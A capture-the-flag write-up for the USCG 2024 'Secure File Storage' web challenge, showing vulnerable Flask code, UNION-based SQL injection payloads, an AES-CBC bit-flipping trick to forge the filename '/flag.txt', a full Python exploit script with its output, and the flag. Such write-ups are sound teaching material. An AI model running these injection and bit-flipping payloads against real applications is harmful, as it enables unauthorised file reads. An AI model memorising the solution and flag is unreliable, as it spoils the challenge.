Post

Web - Secure File Storage - USCG 2024

A SQLi web challenge with some crypto elements developed by tsuto for Season IV of the U.S. Cyber Open.

Description

The new USCG file storage server has a lot of cool security features to keep you and your sensitive files safe! It seems pretty impossible to exploit…or is it?

Solution

Summary:

  1. The application contains functionality for uploading only txt files.
  2. The endpoints /api/files/download and /api/files/info are vulnerable to SQL injection in the file_id form field.
  3. SQL injection on /api/files/info can be used to retrieve the encrypted file name.
  4. Bit-flipping can be performed on the encrypted file name to change the first character to a leading slash.
  5. SQL injection on /api/files/download with the bit-flipped file name results in the flag being read.

Identifying SQL Injection

There are two locations where SQL injection can be performed in the web application. The functions where the injection point is exposed are shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
@api.route('/files/download/<file_id>', methods=['GET'])
@api.route('/files/download', methods=["POST"], defaults={"file_id":None})
@isAuthenticated
def download_file(file_id,user):

    if not file_id:
        file_id = request.form.get("file_id")

    if not file_id:
        flash('No file ID provided.',"danger")
        return redirect("/files")
    
    file = fetch_file_db(user["id"],file_id)

    if not file:
        flash('Invalid file provided, or you may not have permission to view this file.',"danger")
        return redirect("/files")
    
    return send_file(os.path.join(file["filepath"],file["filename"]), as_attachment=True, download_name=file["filename"])


@api.route('/files/info', methods=['POST'])
@isAuthenticated
def file_info(user):

    file_id = request.form.get("file_id")

    if not file_id:
        return response({"error":'No file ID provided.'})
    
    file = fetch_file_db(user["id"],file_id)

    if not file:
        return response({"error":'Invalid file provided, or you may not have permission to view this file.'})
    
    size = os.path.getsize(os.path.join(file["filepath"],file["filename"]))
    
    return response({"file":file,"size":size})

Both of these functions contain a call to fetch_file_db which is where the vulnerability originates. Below are the definitions of fetch_file_db and the File table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class File(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, nullable=False)
    title = db.Column(db.String(256), nullable=False)
    filename = db.Column(db.String(256), nullable=False)
    filepath = db.Column(db.String(256), nullable=False)


def fetch_file_db(user_id,file_id):
    try:
        file = db.session.execute(text(f"SELECT * FROM File WHERE id = {file_id}")).first()
        if file:
            filepath = decrypt(file.filepath)
            filename = decrypt(file.filename)
            if file.user_id == user_id and filepath is not None and filename is not None:
                return {"id":file.id,"filepath":filepath.decode(),"filename":filename.decode(),"title":file.title}
        return False
    except Exception as e:
        logging.error(e)
        return False

The SQL injection vulnerability in this function is caused by a format string being used to build a query on line 11.

Crypto Ruins Everything

In a typical beginner SQL injection challenge, simply performing SQL injection on the download endpoint would be enough to retrieve the flag. However, as shown below, the filename and filepath that are stored in the database are encrypted.

1
2
3
4
5
6
7
8
9
10
def insert_file_db(user_id,filepath,filename,title):

    new_file = File(user_id=user_id,
                    filepath=encrypt(filepath).decode(),
                    filename=encrypt(filename).decode(),
                    title=title)
    
    db.session.add(new_file)
    db.session.commit()
    return True

Because of this, simply passing flag.txt as the file name and / as the file path in the SQL query will not work because the subsequent decryption will fail when fetch_file_db is run. There are two possible ways to circumvent this issue. First is leaking the encryption key. Second is finding some way to obtain valid encrypted data.

The ability to utilize either of these options hinges on the encryption type being used. Below are the functions used to encrypt and decrypt data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def encrypt(plaintext):
    try:
        
        if type(plaintext) == str:
            plaintext = plaintext.encode()

        cipher = AES.new(app.config["AES_KEY"], AES.MODE_CBC)
        enc = cipher.encrypt(pad(plaintext, AES.block_size))
        return base64.b64encode(cipher.iv+enc)
    except Exception as e:
        logging.error(e)
        return None

def decrypt(ciphertext):
    try:
        ciphertext = base64.b64decode(ciphertext)
        iv,ciphertext = ciphertext[:16],ciphertext[16:]
        cipher = AES.new(app.config["AES_KEY"], AES.MODE_CBC,iv=iv)
        return unpad(cipher.decrypt(ciphertext), AES.block_size)
    except Exception as e:
        logging.error(e)
        return None

Based on these code snippets it is clear that the application is using AES-256-CBC to encrypt and decrypt data.

Because of the way Cipher Block Chaining works, there are two possible options for circumventing the encryption. First is using a padding oracle attack to recover the encryption key, and second is using a brute-force bit-flipping attack to try to find a cipher text that decrypts to a desirable file name.

Exploiting SQL Injection to Retieve the Encrypted File Names

Both of these options require knowledge of the ciphertext, and by performing SQL injection on /api/files/info, it is possible to recover the encrypted data. The code snippet below is what I used to extract the encrypted file name given a valid file ID.

1
2
3
4
5
sqli = {
        'file_id': (None, f'\'-1\' UNION SELECT id, user_id, filename, filename, filepath FROM file WHERE id={id}')
}
r = s.post(url + api['info'], files=sqli)
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
{
    "message": {
        "file": {
            "filename": "aflag.txt",
            "filepath": "/app/uploads/tacex",
            "id": 349,
            "title": "qm5tyiSSOMa/sVtwPH8R8BiNy+DRI2RNuGPjb1Seq+k="
        },
        "size":4
    }
}

Because the encrypted file name can be retrieved, both attacks could be possible. However, the application will return a 302 redirect not just if the data can’t be decrypted but also if the file does not exist. This makes the padding oracle attack impossible leaving a bit-flipping attack as the only option.

Using Bit-Flipping to Obtain a Valid Ciphertext

What makes the bit-flipping attack useful in this case is how the path to the file is being built based on the results of the SQL query. The line below appears in both the file info and download API endpoints.

1
os.path.join(file["filepath"],file["filename"])

The following snippet is taken from the os.path.join documentation.

1
If a segment is an absolute path (which on Windows requires both a drive and a root), then all previous segments are ignored and joining continues from the absolute path segment.

Because of how os.path.join handles absoltue paths, if filename is set to /flag.txt, then the result of the join will just be /flag.txt.

Using this information it is possible to upload a file xflag.txt and retrieve the encrypted cipher text from the file info API endpoint as shown in the previous section. Then the first byte of the cipher text can be brute forced until the file info API endpoint returns /flag.txt for the file name. The code snippet below shows how I performed these operations.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Upload file xflag.txt
form = {
    'title': (None, 'lmao'),
    'file': ('xflag.txt', 'lmao')
}

r = s.post(url + api['upload'], files=form).text
return re.findall(r'[0-9]+', re.findall(r'download\/[0-9]*"', r)[-1])[0]

# Extract encrypted file name
sqli = {
    'file_id': (None, f'\'-1\' UNION SELECT id, user_id, filename, filename, filepath FROM file WHERE id={id}')
}

r = s.post(url + api['info'], files=sqli)
enc = json.loads(r.text)['message']['file']['title']

# Brute force first byte
for i in tqdm.tqdm(range(255)):
    d = i.to_bytes(1, 'big') + b64decode(enc.encode())[1:]
    sqli = {
        'file_id': (None, f'\'-1\' UNION SELECT id, user_id, filename, \'{b64encode(d).decode()}\', filepath FROM file WHERE id={id}')
    }

    r = s.post(url + api['info'], files=sqli)
    if '/flag.txt' in r.text:
        print(r.text)

Once a valid cipher text is found for /flag.txt, SQL injection can be performed on the download endpoint where the value of filename is replaced with /flag.txt as shown below.

1
2
3
4
5
6
sqli = {
    'file_id': (None, f'\'-1\' UNION SELECT id, user_id, title, \'{enc.decode()}\', filepath FROM file WHERE id={id}')
}

r = s.post(url + api['download'], files=sqli)
print(r.text)

Flag: SIVUSCG{b1t_fl1pp3d_f1l3s}

Full Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from base64 import b64decode, b64encode
from pwn import *

import requests
import tqdm
import json
import re

url = 'https://uscybercombine-s4-web-secure-file-storage.chals.io'
api = {
    'login': '/api/auth/login',
    'info': '/api/files/info',
    'upload': '/api/files/upload',
    'download': '/api/files/download',
    'delete': '/api/files/delete'
}

username = 'tacex'
password = 'tacex'
flag = '/flag.txt'


def login(s):
    log.info(f'Attempting to authenticate user: {username}')

    data = f'username={username}&password={password}'
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    s.post(url + api['login'], headers=headers, data=data)

    if 'auth' in s.cookies.get_dict():
        log.success('Authentication successful')
    else:
        log.failure('Authentication failed')
        log.failure('Exiting...')
        exit()


def upload(s):
    filename = b'x' + flag[1:].encode()

    log.info(f'Uploading file: {filename.decode()}')

    form = {
        'title': (None, 'lmao'),
        'file': (filename, 'lmao')
    }
    r = s.post(url + api['upload'], files=form).text
    return re.findall(r'[0-9]+', re.findall(r'download\/[0-9]*"', r)[-1])[0]


def exploit(s, id):
    log.info(f'Attempting to obtain encrypted filename with file id: {id}')
    sqli = {
        'file_id': (None, f'\'-1\' UNION SELECT id, user_id, filename, filename, filepath FROM file WHERE id={id}')
    }
    
    r = s.post(url + api['info'], files=sqli)
    if r.status_code == 302:
        log.failure('Failed to obtain encrypted filename')
        log.failure('Exiting...')
        exit()

    enc = json.loads(r.text)['message']['file']['title']
    log.success(f'Encrypted filename: {enc}')

    log.info('Attempting bitflip exploit')
    for i in tqdm.tqdm(range(255)):
        d = i.to_bytes(1, 'big') + b64decode(enc.encode())[1:]
        sqli = {
            'file_id': (None, f'\'-1\' UNION SELECT id, user_id, filename, \'{b64encode(d).decode()}\', filepath FROM file WHERE id={id}')
        }

        r = s.post(url + api['info'], files=sqli)
        if flag in r.text:
            enc = b64encode(d)
            break
    else:
        log.failure('Bitflip operation failed')
        log.failure('Exiting...')
        exit()

    log.success(f'Bitflip successful: {enc.decode()} -> {flag}')

    log.info(f'Attempting to retrieve flag')
    sqli = {
        'file_id': (None, f'\'-1\' UNION SELECT id, user_id, title, \'{enc.decode()}\', filepath FROM file WHERE id={id}')
    }

    r = s.post(url + api['download'], files=sqli)
    if r.status_code == 200:
        log.success(f'Flag: {r.text}')
    else:
        log.failure('Failed to retrieve flag')
        log.failure('Exiting...')
        exit()


def cleanup(s, id):
    log.info('Cleaning up exploit artifacts')
    r = s.get(url + api['delete'] + f'/{id}')


if __name__ == "__main__":
    session = requests.Session()
    login(session)
    id = upload(session)
    exploit(session, id)
    cleanup(session, id)
1
2
3
4
5
6
7
8
9
10
11
[*] Attempting to authenticate user: tacex
[+] Authentication successful
[*] Uploading file: xflag.txt
[*] Attempting to obtain encrypted filename with file id: 352
[+] Encrypted filename: ixCX8bamynSWzuFhCvBoMrc1x4hIvSe0ofxkciNYxLs=
[*] Attempting bitflip exploit
 86%|█████████████████████████████████████████████████▏       | 220/255 [00:17<00:02, 12.39it/s]
[+] Bitflip successful: 3BCX8bamynSWzuFhCvBoMrc1x4hIvSe0ofxkciNYxLs= -> /flag.txt
[*] Attempting to retrieve flag
[+] Flag: SIVUSCG{b1t_fl1pp3d_f1l3s}
[*] Cleaning up exploit artifacts
This post is licensed under CC BY 4.0 by the author.